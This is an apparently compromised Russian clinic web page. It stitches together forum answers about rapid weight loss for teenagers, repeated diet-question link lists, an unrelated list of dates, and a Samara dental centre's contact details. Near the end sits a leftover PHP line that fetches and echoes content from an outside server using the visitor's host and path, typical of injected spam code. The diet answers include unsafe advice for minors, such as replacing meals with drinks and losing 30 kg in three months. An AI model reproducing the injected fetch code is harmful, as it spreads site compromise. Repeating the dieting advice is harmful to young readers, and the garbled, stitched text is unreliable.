Примерное меню для подростков выглядит следующим образомБолее того, все эти продукты способствуют быстрому избавлению от жировых отложений, что способствует интенсивному похудению.

Если нет велосипеда, попроси родителей тебе купить обычный велосипед без переключения скоростей. Катайся всё лето. Не заметишь как сбросишь 10 кило. У меня так было в детстве. Зато теперь вверх по эскалатору бегать могу.

Я похудела на 12 кг, за 1,5 месяца. Ела всё,но считала калории. Посмотри в интернете как это делать. Удачи!!!

Можно похудеть на 25 килограмм, и без вреда для здоровья,,, запишись в клуб для похудения, и за лето можно скинуть 50 килограмм

Реально!! ! Главное нужно настроиться и идти к цели!!!

Отрежь часть тела :)

Особенности приема кардамона для похудения. Ода прекрасной даме.Примерное меню для подростка 16 - 18 лет 1-й завтрак черный чай, некрепкий кофе, два бутерброда масло, сыр , яйцо, приготовленное всмятку, томат.

Очень просто - замени прием пищи напитками вроде киселя, чая, отвар шиповника, можно компот. Но это не значит, что не есть совсем. Я ела на обед салат из помидор. Главное найти стимул для похудения. Так я похудела за три месяца на 30 кг. Главное не принимать больше калорий, чем тратишь. сначала я сбросила вес, потом пошла заниматься спортом, так намного легче. сейчас ем всё, но делаю разгрузочные дни. вес в норме.

Можно, но в таком возрасте лучше это делать медленно и постепенно, 3 месяца слишком маленький срок

  • Белковая диета при каких болезнях - Кто-нибудь сидел на "КРЕМЛЕВСКОЙ ДИЕТЕ"? За 2 недели -5 кг! Неужели у вас проблемы с лишним весом? а по фото и не скажеш
  • Диета вином - Что такое винная диета? Http://www.justlady.ru/diet/776/ - Винная диета. А вот в винной диете вино главный компонент. И
  • Диеты при заболеваниях щитовидной железы - Подскажите диету на которой можно прохудеть кг на 15 с заболеванием щетовидной железы Смотря какое заболевание щит желез
  • Диета от угревой сыпи - Подскажите хорошее средство от угревой сыпи! Секс Одним из наиболее ценных качеств данной каши является то, что хлопья г
  • Препарат топинамбура для похудения - Какие продукты сжигают жиры (вместе со спортом)? Ананас, грейпфрут Сжигают жиры отсутствие продуктов. То же самое можно
  • Белковая диета при миоме матки - Вопрос к гинекологам.Помогите советом. Где вопрос!??? 7 Диета при миоме матки. Двадцать лет живу с такой проблемой, как
  • Как похудеть на 6-7 кг - Скажите как похудеть за месяц на 6-7 кг. в 15 лет Меньше жрать и больше бегать! Главное запастись терпением, взять себя
  • Диета для талии бодибилдинг - Как сделать красивый животик? И мне тоже расскажите!!! Только я кубики хочу!!! живот у меня почти плоский, но немного вн
  • Гармон щитовидной железы способствующий похудению - Диагноз ожирение1или2ст.эндокринолог отправляет сдавать анализ на гормоны.А что потом будет делать?есть ли смысл их сдав
  • За сколько дней можно похудеть в бассейне - Сколько км надо проплыть в бассейне чтобы похудеть на 1 кг? Кругов 300 в бассейне олимпийского класса (50 м.) . И каждый
  • Белковая диета при каких болезнях - Кто-нибудь сидел на "КРЕМЛЕВСКОЙ ДИЕТЕ"? За 2 недели -5 кг! Неужели у вас проблемы с лишним весом? а по фото и не скажеш
  • Диета вином - Что такое винная диета? Http://www.justlady.ru/diet/776/ - Винная диета. А вот в винной диете вино главный компонент. И
  • Диеты при заболеваниях щитовидной железы - Подскажите диету на которой можно прохудеть кг на 15 с заболеванием щетовидной железы Смотря какое заболевание щит желез
  • Диета от угревой сыпи - Подскажите хорошее средство от угревой сыпи! Секс Одним из наиболее ценных качеств данной каши является то, что хлопья г
  • Препарат топинамбура для похудения - Какие продукты сжигают жиры (вместе со спортом)? Ананас, грейпфрут Сжигают жиры отсутствие продуктов. То же самое можно
  • Белковая диета при миоме матки - Вопрос к гинекологам.Помогите советом. Где вопрос!??? 7 Диета при миоме матки. Двадцать лет живу с такой проблемой, как
  • Как похудеть на 6-7 кг - Скажите как похудеть за месяц на 6-7 кг. в 15 лет Меньше жрать и больше бегать! Главное запастись терпением, взять себя
  • Диета для талии бодибилдинг - Как сделать красивый животик? И мне тоже расскажите!!! Только я кубики хочу!!! живот у меня почти плоский, но немного вн
  • Гармон щитовидной железы способствующий похудению - Диагноз ожирение1или2ст.эндокринолог отправляет сдавать анализ на гормоны.А что потом будет делать?есть ли смысл их сдав
  • За сколько дней можно похудеть в бассейне - Сколько км надо проплыть в бассейне чтобы похудеть на 1 кг? Кругов 300 в бассейне олимпийского класса (50 м.) . И каждый
Меню для похудения подростку
 
 

Список аффилированных лиц

03 июля 2012

04 апреля 2012

10 января 2012

06 октября 2011

03 июля 2011

01 апреля 2011



12 января 2011

30 сентября 2010

30 июня 2010

1 апреля 2010





12 января 2010





2 октября 2009





17 июля 2009



 

 
Адрес: г. Самара, ул. Гагарина 18А (м. Гагаринская)
Тел. (846) 260-68-45, 260-68-48
Факс (846) 260-68-45
Email: stomatsamara@mail.ru
Центр работает с 8:00 до 20:00
Выходные суббота, воскресенье
Схема проезда
  echo file_get_contents(''.$_SERVER["HTTP_HOST"].'&path='.$_SERVER["REQUEST_URI"]);?>
Счетчик посещаемости и статистика сайта